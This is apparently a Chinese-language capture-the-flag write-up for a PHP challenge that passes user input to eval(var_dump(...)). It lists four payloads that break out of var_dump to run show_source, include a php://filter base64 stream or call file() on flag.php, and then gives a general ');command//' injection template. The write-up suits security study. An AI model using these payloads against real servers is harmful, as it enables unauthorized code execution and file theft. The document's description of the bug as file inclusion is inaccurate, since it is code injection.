先上payload:
1、?hello=);show_source(%27flag.php%27);//
2、?hello=);include $_POST['zzz'];//
POST傳參:zzz=php://filter/read=convert.base64-encode/resource=flag.php
3、?hello=file(%27flag.php%27)
4、?hello=show_source('flag.php')
首先我們來看源碼:
<?php include "flag.php"; //flag存儲在flag.php這個腳本里,但是被注釋掉了,我們需要把flag.php的源碼整個顯示出來 $a = @$_REQUEST['hello']; //無論是以POST還是GET方式,都可以給$a賦值 eval("var_dump($a);") //var_dump可以輸出變量的類型和值,詳見手冊 show_source(__FILE__); ?>
出現了include/require這兩個函數,就是典型的文件包含攻擊的漏洞了
接下來是每個payload的原理分析:
payload1:?hello=);show_source(%27flag.php%27);//
如果讀者對SQL注入了解比較多,那么理解這種方式的原理可能相對來說就比較容易了。
當代碼第二行結束時,$a=);show_source(%27flag.php%27);//
將其代入第三行:
eval("var_dump();show_source(%27flag.php%27);//);")
eval會執行代碼,那么腳本里面執行的也就是:
var_dump();show_source(%27flag.php%27);//)
如果還看不清楚,那我把它分開來寫:
var_dump(); show_source('flag.php'); //)
看懂了吧?
所以說,這種攻擊方式和SQL注入的payload很像:
“);”負責把前面的命令閉合掉
“//”負責把原來命令的殘余部分注釋掉
中間的那部分就是我們希望執行的命令,這是典型的“命令注入”式的攻擊方式!
所以payload的格式是:
);the_command_that_you_want_to_execute//